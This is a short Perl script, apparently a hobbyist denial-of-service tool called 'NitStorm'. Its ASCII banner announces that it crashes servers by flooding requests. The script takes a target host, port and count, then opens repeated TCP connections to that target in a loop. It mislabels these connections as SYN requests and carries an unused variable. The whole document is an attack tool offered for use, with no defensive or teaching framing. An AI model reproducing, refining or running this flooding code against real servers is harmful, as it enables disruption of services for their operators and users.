#!/usr/bin/perl
#All Right Resrved By Nitrojen26...
#My Mail : Nitrojen26@yahoo.com
use IO::Socket;
print q{


-------------------------------------------                                       
 2626  26 26  26   26           2626   //      
 2      262   262  26           26     ---------------------     
 2626    6    26 2 26           26    2   2626 2626  26    | 
    6    2    26  626    \=-=\  2626  6   2  2 2  2  2 6   |    
 2626    6    26   26           26    2   6  6 6  6  2 6   |        
------------------------------  26    626 2626 2626  26    |      
    By Nitrojen26          //                              | 
                          ----------------------------------

This Perl-Script /NitStorm/ Whill Crashing Server 

By Flooding A Lot Of Dump Requests...............

All Right Reserved By +++++++++Nitrojen26++++++++

Ex: Perl NitStorm.pl 127.0.0.1 80 3000

};
if(!defined($ARGV[2])){
print "Dos Target : ";
$host = <STDIN>;
chop ($host);
print "Port : ";
$port = <STDIN>;
chop ($port);
print "SYN Requests to send : ";
$num = <STDIN>;
chop ($num);
}
if(defined($ARGV[2])){
$host = $ARGV[0];
$port = $ARGV[1];
$num = $ARGV[2];
}
for ($i=0; $i<$num; $i++)
{
$len = length $form;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || die "Can't Connect,It May The Server Dosed?.\n";
syswrite STDOUT, "[*]SYN Request: $i\n";
}

print "\n\nEnd Of NitStorm\n\n\n";
print "Press Enter To Exit...";
$end = <STDIN>;
chop ($end);